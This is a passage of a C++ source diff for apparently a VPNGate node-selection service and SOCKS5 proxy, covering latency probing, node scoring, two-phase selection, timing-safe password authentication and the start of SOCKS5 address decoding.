||||
// Why this exists: VPNGate's own Ping/Score columns are measured from VPNGate's
|
||||
// infrastructure in Japan, not from us. Ranking on them is close to ranking at
|
||||
// random once you are on another continent (docs/FEASIBILITY.md §3.3).
|
||||
//
|
||||
// Method: time a TCP handshake to the node's OpenVPN port, take the median of
|
||||
// N samples, discard the node on any failure.
|
||||
//
|
||||
// Limitation, stated plainly: this only works for nodes that expose a TCP
|
||||
// remote. For UDP-only nodes there is no handshake to time without speaking
|
||||
// OpenVPN's control protocol, so they fall back to the API's ping value with a
|
||||
// penalty applied by the scorer. In practice nearly every VPNGate node offers
|
||||
// TCP/443, so this is rarely hit.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
|
||||
namespace ovg::selector {
|
||||
|
||||
struct ProbeTarget {
|
||||
std::string node_id;
|
||||
std::string host;
|
||||
uint16_t port = 0;
|
||||
};
|
||||
|
||||
struct ProbeResult {
|
||||
std::string node_id;
|
||||
bool reachable = false;
|
||||
double rtt_ms = -1.0; // median of the successful samples
|
||||
int samples_ok = 0;
|
||||
};
|
||||
|
||||
class Prober {
|
||||
public:
|
||||
Prober(asio::io_context &io, SelectorConfig cfg);
|
||||
|
||||
using Handler = std::function<void(std::vector<ProbeResult>)>;
|
||||
|
||||
// Probes all targets with bounded concurrency and invokes `handler` once,
|
||||
// with one result per target, in the input order.
|
||||
void probe(std::vector<ProbeTarget> targets, Handler handler);
|
||||
|
||||
private:
|
||||
asio::io_context &io_;
|
||||
SelectorConfig cfg_;
|
||||
};
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,128 @@
|
||||
#include "selector/scorer.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cmath>
|
||||
|
||||
namespace ovg::selector {
|
||||
namespace {
|
||||
|
||||
double clamp01(double v) { return std::clamp(v, 0.0, 1.0); }
|
||||
|
||||
} // namespace
|
||||
|
||||
namespace terms {
|
||||
|
||||
// VPNGate's Score spans roughly 0..10^7. Log-compress so the top few nodes do
|
||||
// not swamp everything else.
|
||||
double score_term(int64_t vpngate_score) {
|
||||
if (vpngate_score <= 0) return 0.0;
|
||||
return clamp01(std::log10(1.0 + static_cast<double>(vpngate_score)) / 7.0);
|
||||
}
|
||||
|
||||
// Advertised line speed, log-compressed against 1 Gbps. This is the node's
|
||||
// *link* speed shared across all its sessions, so it is a weak signal at best.
|
||||
double speed_term(int64_t speed_bps) {
|
||||
if (speed_bps <= 0) return 0.0;
|
||||
return clamp01(std::log10(1.0 + static_cast<double>(speed_bps)) / 9.0);
|
||||
}
|
||||
|
||||
// Load. 0 sessions = 1.0, 20 sessions = 0.5, 100 sessions = 0.17.
|
||||
double sessions_term(int num_sessions) {
|
||||
if (num_sessions < 0) num_sessions = 0;
|
||||
return 1.0 / (1.0 + static_cast<double>(num_sessions) / 20.0);
|
||||
}
|
||||
|
||||
// A week of uptime earns full marks; volunteers who restart hourly score low.
|
||||
double uptime_term(int64_t uptime_ms) {
|
||||
if (uptime_ms <= 0) return 0.0;
|
||||
constexpr double kWeekMs = 7.0 * 86400.0 * 1000.0;
|
||||
return clamp01(static_cast<double>(uptime_ms) / kWeekMs);
|
||||
}
|
||||
|
||||
// 0ms = 1.0, 100ms = 0.5, 300ms = 0.25. Unmeasured RTT scores as mediocre
|
||||
// rather than zero, so an unprobed node is not permanently excluded.
|
||||
double rtt_term(double rtt_ms) {
|
||||
if (rtt_ms < 0) return 0.35;
|
||||
return 1.0 / (1.0 + rtt_ms / 100.0);
|
||||
}
|
||||
|
||||
} // namespace terms
|
||||
|
||||
Scorer::Scorer(SelectorConfig cfg) : cfg_(std::move(cfg)) {}
|
||||
|
||||
bool Scorer::passes_filter(const vpngate::Node &n) const {
|
||||
if (n.remotes.empty()) return false;
|
||||
|
||||
if (!cfg_.country_allow.empty()) {
|
||||
const bool found = std::find(cfg_.country_allow.begin(),
|
||||
cfg_.country_allow.end(),
|
||||
n.country_short) != cfg_.country_allow.end();
|
||||
if (!found) return false;
|
||||
}
|
||||
if (std::find(cfg_.country_deny.begin(), cfg_.country_deny.end(),
|
||||
n.country_short) != cfg_.country_deny.end())
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
double Scorer::prior_score(const vpngate::Node &n) const {
|
||||
const double total_w =
|
||||
cfg_.w_score + cfg_.w_speed + cfg_.w_sessions + cfg_.w_uptime;
|
||||
if (total_w <= 0) return 0.0;
|
||||
|
||||
const double s = cfg_.w_score * terms::score_term(n.api.score) +
|
||||
cfg_.w_speed * terms::speed_term(n.api.speed_bps) +
|
||||
cfg_.w_sessions * terms::sessions_term(n.api.num_sessions) +
|
||||
cfg_.w_uptime * terms::uptime_term(n.api.uptime_ms);
|
||||
return clamp01(s / total_w);
|
||||
}
|
||||
|
||||
double Scorer::final_score(const ScoredNode &s) const {
|
||||
const double total_w = cfg_.w_rtt + cfg_.w_prior + cfg_.w_history;
|
||||
if (total_w <= 0) return 0.0;
|
||||
|
||||
double v = cfg_.w_rtt * terms::rtt_term(s.rtt_ms) +
|
||||
cfg_.w_prior * s.prior +
|
||||
cfg_.w_history * clamp01(s.history);
|
||||
v /= total_w;
|
||||
|
||||
// A UDP remote avoids stacking TCP on TCP (see docs/FEASIBILITY.md §3.2), so
|
||||
// give it a modest edge when we are told to prefer UDP.
|
||||
if (cfg_.prefer_udp && s.node && s.node->has_udp()) v *= 1.05;
|
||||
|
||||
// Backed-off nodes stay selectable only as a last resort.
|
||||
if (s.backed_off) v *= 0.10;
|
||||
|
||||
return clamp01(v);
|
||||
}
|
||||
|
||||
std::vector<ScoredNode> Scorer::rank_by_prior(
|
||||
const std::vector<vpngate::Node> &nodes,
|
||||
const HistoryStore &history) const {
|
||||
std::vector<ScoredNode> out;
|
||||
out.reserve(nodes.size());
|
||||
|
||||
for (const auto &n : nodes) {
|
||||
if (!passes_filter(n)) continue;
|
||||
ScoredNode s;
|
||||
s.node = &n;
|
||||
s.prior = prior_score(n);
|
||||
const auto stats = history.get(n.id());
|
||||
s.history = stats.success_rate();
|
||||
s.backed_off = history.is_backed_off(n.id());
|
||||
// Seed RTT from history so a node we have measured before does not look
|
||||
// unprobed on the next pass.
|
||||
s.rtt_ms = stats.ewma_rtt_ms > 0 ? stats.ewma_rtt_ms : -1.0;
|
||||
s.score = final_score(s);
|
||||
out.push_back(s);
|
||||
}
|
||||
|
||||
std::sort(out.begin(), out.end(), [](const ScoredNode &a, const ScoredNode &b) {
|
||||
if (a.backed_off != b.backed_off) return !a.backed_off;
|
||||
return a.score > b.score;
|
||||
});
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,61 @@
|
||||
// Node scoring.
|
||||
//
|
||||
// Design rule: every term is an *absolute* function of the node's properties,
|
||||
// never normalised against the current candidate set. Set-relative scores are
|
||||
// not comparable across refreshes, which would break the "candidate must beat
|
||||
// the incumbent by X%" hysteresis in the switch controller -- the incumbent's
|
||||
// score would drift as the candidate pool changed around it.
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "selector/history.h"
|
||||
#include "vpngate/node.h"
|
||||
|
||||
namespace ovg::selector {
|
||||
|
||||
struct ScoredNode {
|
||||
const vpngate::Node *node = nullptr;
|
||||
double prior = 0.0; // from API metrics only
|
||||
double rtt_ms = -1.0; // measured by us; -1 = not probed
|
||||
double history = 0.5;
|
||||
double score = 0.0; // final blend
|
||||
bool probed = false;
|
||||
bool backed_off = false;
|
||||
std::string note; // human-readable reason, for logs and /nodes
|
||||
};
|
||||
|
||||
class Scorer {
|
||||
public:
|
||||
explicit Scorer(SelectorConfig cfg);
|
||||
|
||||
// Country allow/deny and "has a usable remote".
|
||||
bool passes_filter(const vpngate::Node &n) const;
|
||||
|
||||
// API-only score in [0,1].
|
||||
double prior_score(const vpngate::Node &n) const;
|
||||
|
||||
// Blend of prior, measured RTT and history, in [0,1].
|
||||
double final_score(const ScoredNode &s) const;
|
||||
|
||||
// Ranks by prior only. Backed-off nodes are marked but still returned so the
|
||||
// caller can report them; they are pushed to the end.
|
||||
std::vector<ScoredNode> rank_by_prior(const std::vector<vpngate::Node> &nodes,
|
||||
const HistoryStore &history) const;
|
||||
|
||||
private:
|
||||
SelectorConfig cfg_;
|
||||
};
|
||||
|
||||
// Exposed for testing: the individual absolute term mappings.
|
||||
namespace terms {
|
||||
double score_term(int64_t vpngate_score);
|
||||
double speed_term(int64_t speed_bps);
|
||||
double sessions_term(int num_sessions);
|
||||
double uptime_term(int64_t uptime_ms);
|
||||
double rtt_term(double rtt_ms);
|
||||
} // namespace terms
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,279 @@
|
||||
#include "selector/selector.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <memory>
|
||||
#include <unordered_set>
|
||||
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::selector {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "selector";
|
||||
|
||||
// A UDP-only node cannot be handshake-timed, so we fall back to VPNGate's own
|
||||
// ping value -- measured from their infrastructure, not ours. Inflate it so an
|
||||
// unverified number never outranks one we measured ourselves.
|
||||
constexpr double kUnprobedPingPenalty = 1.5;
|
||||
|
||||
auto *g_probes = metrics::counter("ovg_selector_probes_total",
|
||||
"TCP latency probes attempted");
|
||||
auto *g_probe_fail = metrics::counter("ovg_selector_probe_failures_total",
|
||||
"Probes that could not connect");
|
||||
auto *g_selections = metrics::counter("ovg_selector_selections_total",
|
||||
"Selection runs completed");
|
||||
auto *g_empty = metrics::counter("ovg_selector_empty_selections_total",
|
||||
"Selection runs that found no usable node");
|
||||
auto *g_candidates = metrics::gauge("ovg_selector_candidates",
|
||||
"Nodes passing the filter at last run");
|
||||
|
||||
// The remote we probe. Prefer TCP because that is the only thing we can time
|
||||
// with a bare connect(); a UDP "connect" completes locally and measures nothing.
|
||||
const vpngate::Remote *probe_remote(const vpngate::Node &n) {
|
||||
for (const auto &r : n.remotes)
|
||||
if (r.proto == vpngate::Proto::Tcp && r.port != 0 && !r.host.empty())
|
||||
return &r;
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
Selector::Selector(asio::io_context &io, SelectorConfig cfg,
|
||||
vpngate::NodeStore &nodes, HistoryStore &history)
|
||||
: io_(io),
|
||||
cfg_(cfg),
|
||||
nodes_(nodes),
|
||||
history_(history),
|
||||
scorer_(cfg),
|
||||
prober_(io, cfg) {}
|
||||
|
||||
Candidate Selector::to_candidate(const ScoredNode &s) const {
|
||||
Candidate c;
|
||||
c.node = *s.node; // detach from the snapshot
|
||||
c.score = s.score;
|
||||
c.prior = s.prior;
|
||||
c.rtt_ms = s.rtt_ms;
|
||||
c.probed = s.probed;
|
||||
c.backed_off = s.backed_off;
|
||||
c.note = s.note;
|
||||
return c;
|
||||
}
|
||||
|
||||
void Selector::finish(std::vector<Candidate> ranked, size_t want,
|
||||
Handler handler) {
|
||||
std::sort(ranked.begin(), ranked.end(),
|
||||
[](const Candidate &a, const Candidate &b) {
|
||||
if (a.reachable != b.reachable) return a.reachable;
|
||||
return a.score > b.score;
|
||||
});
|
||||
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
last_ranking_ = ranked;
|
||||
}
|
||||
|
||||
std::vector<Candidate> out;
|
||||
for (auto &c : ranked) {
|
||||
if (!c.reachable) continue;
|
||||
out.push_back(std::move(c));
|
||||
if (out.size() >= want) break;
|
||||
}
|
||||
|
||||
g_selections->inc();
|
||||
if (out.empty()) {
|
||||
g_empty->inc();
|
||||
// Empty because there is no directory yet is a startup race; empty with a
|
||||
// directory in hand means every node was rejected or unreachable, which is
|
||||
// the one an operator needs to see.
|
||||
if (directory_loaded()) {
|
||||
LOG_WARN(kMod, "selection found no usable node");
|
||||
} else {
|
||||
LOG_DEBUG(kMod, "selection found no usable node (no directory yet)");
|
||||
}
|
||||
} else {
|
||||
LOG_INFO(kMod, "selected {} ({}, score {:.3f}, rtt {:.0f}ms{})",
|
||||
out.front().node.id(), out.front().node.country_short,
|
||||
out.front().score, out.front().rtt_ms,
|
||||
out.front().probed ? "" : ", unprobed");
|
||||
}
|
||||
handler(std::move(out));
|
||||
}
|
||||
|
||||
void Selector::select(SelectRequest req, Handler handler) {
|
||||
auto snapshot = nodes_.snapshot();
|
||||
if (!snapshot || snapshot->empty()) {
|
||||
// Not a warning. The manager polls this once a second during startup while
|
||||
// the first directory fetch is in flight, and a normal cold start should
|
||||
// not produce a wall of warnings for a condition that clears itself in a
|
||||
// second or two. The manager escalates if it never clears.
|
||||
LOG_DEBUG(kMod, "no node list available yet");
|
||||
finish({}, req.want, std::move(handler));
|
||||
return;
|
||||
}
|
||||
|
||||
auto ranked = scorer_.rank_by_prior(*snapshot, history_);
|
||||
|
||||
if (!req.exclude_ids.empty()) {
|
||||
const std::unordered_set<std::string> excluded(req.exclude_ids.begin(),
|
||||
req.exclude_ids.end());
|
||||
ranked.erase(std::remove_if(ranked.begin(), ranked.end(),
|
||||
[&](const ScoredNode &s) {
|
||||
return excluded.count(s.node->id()) > 0;
|
||||
}),
|
||||
ranked.end());
|
||||
}
|
||||
|
||||
g_candidates->set(static_cast<int64_t>(ranked.size()));
|
||||
LOG_DEBUG(kMod, "{} node(s) pass the filter ({} excluded by caller)",
|
||||
ranked.size(), req.exclude_ids.size());
|
||||
|
||||
if (ranked.empty()) {
|
||||
finish({}, req.want, std::move(handler));
|
||||
return;
|
||||
}
|
||||
|
||||
if (!req.probe) {
|
||||
std::vector<Candidate> out;
|
||||
out.reserve(std::min(ranked.size(), req.want));
|
||||
for (size_t i = 0; i < ranked.size() && out.size() < req.want; ++i) {
|
||||
auto c = to_candidate(ranked[i]);
|
||||
c.note = "prior only (probing skipped)";
|
||||
out.push_back(std::move(c));
|
||||
}
|
||||
finish(std::move(out), req.want, std::move(handler));
|
||||
return;
|
||||
}
|
||||
|
||||
// Phase 2: probe only the top K.
|
||||
const size_t k = std::min(ranked.size(), cfg_.probe_candidates);
|
||||
ranked.resize(k);
|
||||
|
||||
std::vector<ProbeTarget> targets;
|
||||
targets.reserve(k);
|
||||
// Index into `ranked` for each probe target; UDP-only nodes are not probed
|
||||
// and so do not appear here.
|
||||
std::vector<size_t> target_index;
|
||||
target_index.reserve(k);
|
||||
|
||||
for (size_t i = 0; i < k; ++i) {
|
||||
const auto *r = probe_remote(*ranked[i].node);
|
||||
if (!r) continue;
|
||||
targets.push_back(ProbeTarget{ranked[i].node->id(), r->host, r->port});
|
||||
target_index.push_back(i);
|
||||
}
|
||||
|
||||
g_probes->inc(targets.size());
|
||||
|
||||
// Worth saying out loud: on VPNGate most nodes are UDP-only, so a top-10 by
|
||||
// prior routinely yields three or four probe targets. An operator seeing
|
||||
// "probed 4" against a 95-node directory would otherwise reasonably conclude
|
||||
// the filter is broken.
|
||||
if (targets.size() < k) {
|
||||
LOG_INFO(kMod,
|
||||
"{} of the top {} have no TCP remote to time; they keep their "
|
||||
"API-reported ping with a penalty",
|
||||
k - targets.size(), k);
|
||||
}
|
||||
|
||||
// `snapshot` must outlive the probe: ScoredNode holds pointers into it.
|
||||
auto captured = std::make_shared<std::vector<ScoredNode>>(std::move(ranked));
|
||||
auto idx = std::make_shared<std::vector<size_t>>(std::move(target_index));
|
||||
|
||||
prober_.probe(
|
||||
std::move(targets),
|
||||
[this, snapshot, captured, idx, want = req.want,
|
||||
handler = std::move(handler)](std::vector<ProbeResult> results) mutable {
|
||||
auto &ranked = *captured;
|
||||
|
||||
// Nodes we could not probe at all keep their prior-derived RTT.
|
||||
for (auto &s : ranked) {
|
||||
if (s.rtt_ms < 0 && s.node->api.ping_ms > 0)
|
||||
s.rtt_ms = s.node->api.ping_ms * kUnprobedPingPenalty;
|
||||
}
|
||||
|
||||
std::vector<Candidate> out;
|
||||
out.reserve(ranked.size());
|
||||
|
||||
std::unordered_set<size_t> probed_positions;
|
||||
for (size_t i = 0; i < results.size() && i < idx->size(); ++i) {
|
||||
const size_t pos = (*idx)[i];
|
||||
probed_positions.insert(pos);
|
||||
auto &s = ranked[pos];
|
||||
const auto &r = results[i];
|
||||
|
||||
if (r.reachable) {
|
||||
s.rtt_ms = r.rtt_ms;
|
||||
s.probed = true;
|
||||
s.note = "probed";
|
||||
history_.record_success(s.node->id(), r.rtt_ms);
|
||||
} else {
|
||||
// A node that will not complete a TCP handshake on its own
|
||||
// advertised port is not going to carry a tunnel. Record it so the
|
||||
// backoff keeps us from retrying it every 30 seconds.
|
||||
g_probe_fail->inc();
|
||||
s.probed = true;
|
||||
s.note = "probe failed: unreachable";
|
||||
history_.record_failure(s.node->id());
|
||||
}
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < ranked.size(); ++i) {
|
||||
auto &s = ranked[i];
|
||||
const bool was_probed = probed_positions.count(i) > 0;
|
||||
const bool failed = was_probed && s.note.rfind("probe failed", 0) == 0;
|
||||
|
||||
if (!was_probed) {
|
||||
s.note = s.node->has_udp()
|
||||
? "udp-only: no TCP remote to time, using API ping"
|
||||
: "no usable remote to probe";
|
||||
}
|
||||
s.score = scorer_.final_score(s);
|
||||
|
||||
auto c = to_candidate(s);
|
||||
c.reachable = !failed;
|
||||
if (failed) c.score = 0.0;
|
||||
out.push_back(std::move(c));
|
||||
}
|
||||
|
||||
// Probe outcomes changed the backoff state; persist before we act.
|
||||
history_.save();
|
||||
|
||||
finish(std::move(out), want, std::move(handler));
|
||||
});
|
||||
}
|
||||
|
||||
std::optional<Candidate> Selector::rescore(const std::string &node_id) const {
|
||||
auto snapshot = nodes_.snapshot();
|
||||
if (!snapshot) return std::nullopt;
|
||||
|
||||
for (const auto &n : *snapshot) {
|
||||
if (n.id() != node_id) continue;
|
||||
|
||||
ScoredNode s;
|
||||
s.node = &n;
|
||||
s.prior = scorer_.prior_score(n);
|
||||
const auto stats = history_.get(node_id);
|
||||
s.history = stats.success_rate();
|
||||
s.backed_off = history_.is_backed_off(node_id);
|
||||
s.rtt_ms = stats.ewma_rtt_ms > 0 ? stats.ewma_rtt_ms : -1.0;
|
||||
s.probed = stats.ewma_rtt_ms > 0;
|
||||
s.note = "rescored from history";
|
||||
s.score = scorer_.final_score(s);
|
||||
return to_candidate(s);
|
||||
}
|
||||
|
||||
// The node fell out of the API list. That alone is not fatal -- an active
|
||||
// tunnel to it keeps working -- but it can no longer be scored, so the caller
|
||||
// should treat it as unknown rather than as zero.
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
std::vector<Candidate> Selector::last_ranking() const {
|
||||
std::lock_guard lk(mu_);
|
||||
return last_ranking_;
|
||||
}
|
||||
|
||||
bool Selector::directory_loaded() const { return nodes_.has_nodes(); }
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,98 @@
|
||||
// Picks which VPNGate node to connect to.
|
||||
//
|
||||
// Two phases, deliberately:
|
||||
//
|
||||
// 1. Cheap prior ranking over the whole list (~100 nodes) using the API
|
||||
// metrics plus our own history. No network I/O.
|
||||
// 2. Active probing of only the top-K survivors, then a re-score that weights
|
||||
// our own measurement above anything VPNGate told us.
|
||||
//
|
||||
// Probing all ~100 nodes on every selection would be both slow and rude to a
|
||||
// volunteer-run service; probing none of them means ranking on numbers measured
|
||||
// from another continent (docs/FEASIBILITY.md §3.3).
|
||||
//
|
||||
// The result is a ranked list, not a single node: the switch controller needs
|
||||
// alternatives when its first choice fails to come up.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <functional>
|
||||
#include <mutex>
|
||||
#include <optional>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "selector/history.h"
|
||||
#include "selector/prober.h"
|
||||
#include "selector/scorer.h"
|
||||
#include "vpngate/node_store.h"
|
||||
|
||||
namespace ovg::selector {
|
||||
|
||||
// A ranked node, detached from the NodeStore snapshot it came from so the
|
||||
// caller can hold it across a refresh.
|
||||
struct Candidate {
|
||||
vpngate::Node node;
|
||||
double score = 0.0;
|
||||
double prior = 0.0;
|
||||
double rtt_ms = -1.0;
|
||||
bool probed = false; // we timed a real handshake to it
|
||||
bool reachable = true; // false only when a probe actually failed
|
||||
bool backed_off = false;
|
||||
std::string note; // why it scored the way it did; surfaced in logs and /nodes
|
||||
};
|
||||
|
||||
struct SelectRequest {
|
||||
// Nodes to leave out entirely: the incumbent, anything still draining, and
|
||||
// anything the switch controller has already tried this round.
|
||||
std::vector<std::string> exclude_ids;
|
||||
size_t want = 3; // how many ranked candidates to return
|
||||
bool probe = true; // false = prior-only, for a fast path at startup
|
||||
};
|
||||
|
||||
class Selector {
|
||||
public:
|
||||
Selector(asio::io_context &io, SelectorConfig cfg, vpngate::NodeStore &nodes,
|
||||
HistoryStore &history);
|
||||
|
||||
using Handler = std::function<void(std::vector<Candidate>)>;
|
||||
|
||||
// Runs the two-phase selection. `handler` is invoked exactly once, on the
|
||||
// io_context, with up to `want` candidates ordered best-first. An empty
|
||||
// result means nothing usable was found.
|
||||
void select(SelectRequest req, Handler handler);
|
||||
|
||||
// Re-scores a single node against the current snapshot and history, without
|
||||
// probing. Used for the "candidate must beat the incumbent by X%" check --
|
||||
// the incumbent must be scored the same way as its challengers, and this is
|
||||
// why every scoring term is absolute rather than set-relative.
|
||||
std::optional<Candidate> rescore(const std::string &node_id) const;
|
||||
|
||||
// Most recent ranking, for the admin endpoint. May be empty.
|
||||
std::vector<Candidate> last_ranking() const;
|
||||
|
||||
// Whether the directory has been loaded at all. An empty selection means two
|
||||
// very different things -- "the node list has not arrived yet", which is a
|
||||
// one-second-old process and resolves itself, and "every node was probed and
|
||||
// none worked", which deserves a backoff. The caller cannot tell them apart
|
||||
// from an empty result vector, so it asks here.
|
||||
bool directory_loaded() const;
|
||||
|
||||
private:
|
||||
Candidate to_candidate(const ScoredNode &s) const;
|
||||
void finish(std::vector<Candidate> ranked, size_t want, Handler handler);
|
||||
|
||||
asio::io_context &io_;
|
||||
SelectorConfig cfg_;
|
||||
vpngate::NodeStore &nodes_;
|
||||
HistoryStore &history_;
|
||||
Scorer scorer_;
|
||||
Prober prober_;
|
||||
|
||||
mutable std::mutex mu_;
|
||||
std::vector<Candidate> last_ranking_;
|
||||
};
|
||||
|
||||
} // namespace ovg::selector
|
||||
@@ -0,0 +1,72 @@
|
||||
#include "socks5/auth.h"
|
||||
|
||||
#include "common/logging.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
namespace {
|
||||
constexpr const char *kMod = "auth";
|
||||
}
|
||||
|
||||
Authenticator::Authenticator(std::vector<Credential> users, bool required)
|
||||
: users_(std::move(users)), required_(required) {
|
||||
// A fixed decoy, hashed exactly like a real credential, so the miss path
|
||||
// costs the same as the hit path. Built once because generating it per
|
||||
// attempt would itself be a timing signal.
|
||||
decoy_ = make_credential("\x00-nonexistent-\x00", "\x00-nonexistent-\x00");
|
||||
if (required_ && users_.empty()) {
|
||||
LOG_WARN(kMod, "authentication is required but no credentials are loaded: "
|
||||
"every client will be rejected");
|
||||
}
|
||||
}
|
||||
|
||||
bool Authenticator::empty() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return users_.empty();
|
||||
}
|
||||
|
||||
bool Authenticator::check(const std::string &user,
|
||||
const std::string &password) const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
|
||||
const Credential *found = nullptr;
|
||||
for (const auto &c : users_) {
|
||||
// Username comparison is not constant-time and does not need to be: the
|
||||
// name is not a secret, and the timing of a string compare over a
|
||||
// handful of entries is far below the noise of a network round trip. The
|
||||
// hash below is what must not vary.
|
||||
if (c.username == user) {
|
||||
found = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Always exactly one verification, hit or miss.
|
||||
const bool ok = verify_credential(found != nullptr ? *found : decoy_, password);
|
||||
const bool result = ok && found != nullptr;
|
||||
|
||||
if (result) {
|
||||
++ok_;
|
||||
} else {
|
||||
++bad_;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
size_t Authenticator::replace(std::vector<Credential> users) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
users_ = std::move(users);
|
||||
LOG_INFO(kMod, "credential set replaced: {} user(s)", users_.size());
|
||||
return users_.size();
|
||||
}
|
||||
|
||||
uint64_t Authenticator::successes() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return ok_;
|
||||
}
|
||||
|
||||
uint64_t Authenticator::failures() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return bad_;
|
||||
}
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,53 @@
|
||||
// Username/password authentication for the SOCKS5 listener.
|
||||
//
|
||||
// The whole module exists to make one property hold: **an attacker learns
|
||||
// nothing from how long a rejection takes.** A naive implementation leaks the
|
||||
// existence of a username -- a lookup that misses returns in nanoseconds while a
|
||||
// hit spends a millisecond hashing. So every attempt hashes exactly once,
|
||||
// against a real credential if the name matched and against a fixed decoy if it
|
||||
// did not, and the comparison itself is constant-time (verify_credential uses
|
||||
// CRYPTO_memcmp).
|
||||
//
|
||||
// Credentials are held by value. The set is small (tens of users, not millions)
|
||||
// and reload is a whole-object swap under a mutex, so there is no partially
|
||||
// applied credential list and no reference into a table being rewritten.
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
|
||||
class Authenticator {
|
||||
public:
|
||||
// `required == false` means the NO_AUTH method is offered. Credentials are
|
||||
// still checked if a client chooses USERPASS anyway -- being lenient about
|
||||
// requiring auth is a deployment choice, being lenient about a *presented*
|
||||
// wrong password never is.
|
||||
Authenticator(std::vector<Credential> users, bool required);
|
||||
|
||||
bool required() const { return required_; }
|
||||
bool empty() const;
|
||||
|
||||
// Constant-time in the sense described above.
|
||||
bool check(const std::string &user, const std::string &password) const;
|
||||
|
||||
// Hot-reload. Returns the new count.
|
||||
size_t replace(std::vector<Credential> users);
|
||||
|
||||
uint64_t successes() const;
|
||||
uint64_t failures() const;
|
||||
|
||||
private:
|
||||
mutable std::mutex mu_;
|
||||
std::vector<Credential> users_;
|
||||
Credential decoy_; // hashed against when the username does not exist
|
||||
bool required_;
|
||||
mutable uint64_t ok_ = 0, bad_ = 0;
|
||||
};
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,252 @@
|
||||
#include "socks5/protocol.h"
|
||||
|
||||
#include <cstring>
|
||||
|
||||
#include "common/error.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
namespace {
|
||||
|
||||
// Reads a big-endian port. Callers have already bounds-checked.
|
||||
uint16_t read_port(const uint8_t *p) {
|
||||
return static_cast<uint16_t>((static_cast<uint16_t>(p[0]) << 8) | p[1]);
|
||||
}
|
||||
|
||||
void write_port(std::vector<uint8_t> *out, uint16_t port) {
|
||||
out->push_back(static_cast<uint8_t>(port >> 8));
|
||||
out->push_back(static_cast<uint8_t>(port & 0xFF));
|
||||
}
|
||||
|
||||
// Decodes ATYP + ADDR + PORT starting at data[0].
|
||||
//
|
||||
// Shared by the request decoder and the UDP header decoder because they carry
|
||||
// the identical field -- RFC 1928 defines it once and reuses it, and so do we.
|
||||
// A second copy of this is a second place for a length check to be wrong.
|
||||
Decode decode_address(const uint8_t *data, size_t len, Endpoint *out) {
|
||||
if (len < 1) return {Status::NeedMore, 0};
|
||||
const auto atyp = static_cast<AddrType>(data[0]);
|
||||
|
||||
switch (atyp) {
|
||||
case AddrType::Ipv4: {
|
||||
constexpr size_t need = 1 + 4 + 2;
|
||||
if (len < need) return {Status::NeedMore, 0};
|
||||
*out = Endpoint(IpAddress::from_bytes_v4(data + 1), read_port(data + 5));
|
||||
return {Status::Ok, need};
|
||||
}
|
||||
case AddrType::Ipv6: {
|
||||
constexpr size_t need = 1 + 16 + 2;
|
||||
if (len < need) return {Status::NeedMore, 0};
|
||||
*out = Endpoint(IpAddress::from_bytes_v6(data + 1), read_port(data + 17));
|
||||
return {Status::Ok, need};
|
||||
}
|
||||
case AddrType::Domain: {
|
||||
if (len < 2) return {Status::NeedMore, 0};
|
||||
const size_t nlen = data[1];
|
||||
// A zero-length name can never become a valid destination, so this is Bad
|
||||
// rather than NeedMore -- otherwise the session would sit waiting for
|
||||
// bytes that would not help.
|
||||
if (nlen == 0) return {Status::Bad, 0};
|
||||
const size_t need = 2 + nlen + 2;
|
||||
if (len < need) return {Status::NeedMore, 0};
|
||||
std::string name(reinterpret_cast<const char *>(data + 2), nlen);
|
||||
// Some clients send a literal in an ATYP=3 field. Normalising here means
|
||||
// the egress never re-resolves an address it was already given, and the
|
||||
// tunnel's DNS budget is spent on names that actually need it.
|
||||
if (auto ip = IpAddress::parse(name)) {
|
||||
*out = Endpoint(*ip, read_port(data + 2 + nlen));
|
||||
} else {
|
||||
*out = Endpoint(std::move(name), read_port(data + 2 + nlen));
|
||||
}
|
||||
return {Status::Ok, need};
|
||||
}
|
||||
}
|
||||
return {Status::Bad, 0};
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
const char *command_name(Command c) {
|
||||
switch (c) {
|
||||
case Command::Connect: return "CONNECT";
|
||||
case Command::Bind: return "BIND";
|
||||
case Command::UdpAssociate: return "UDP_ASSOCIATE";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
const char *reply_name(Reply r) {
|
||||
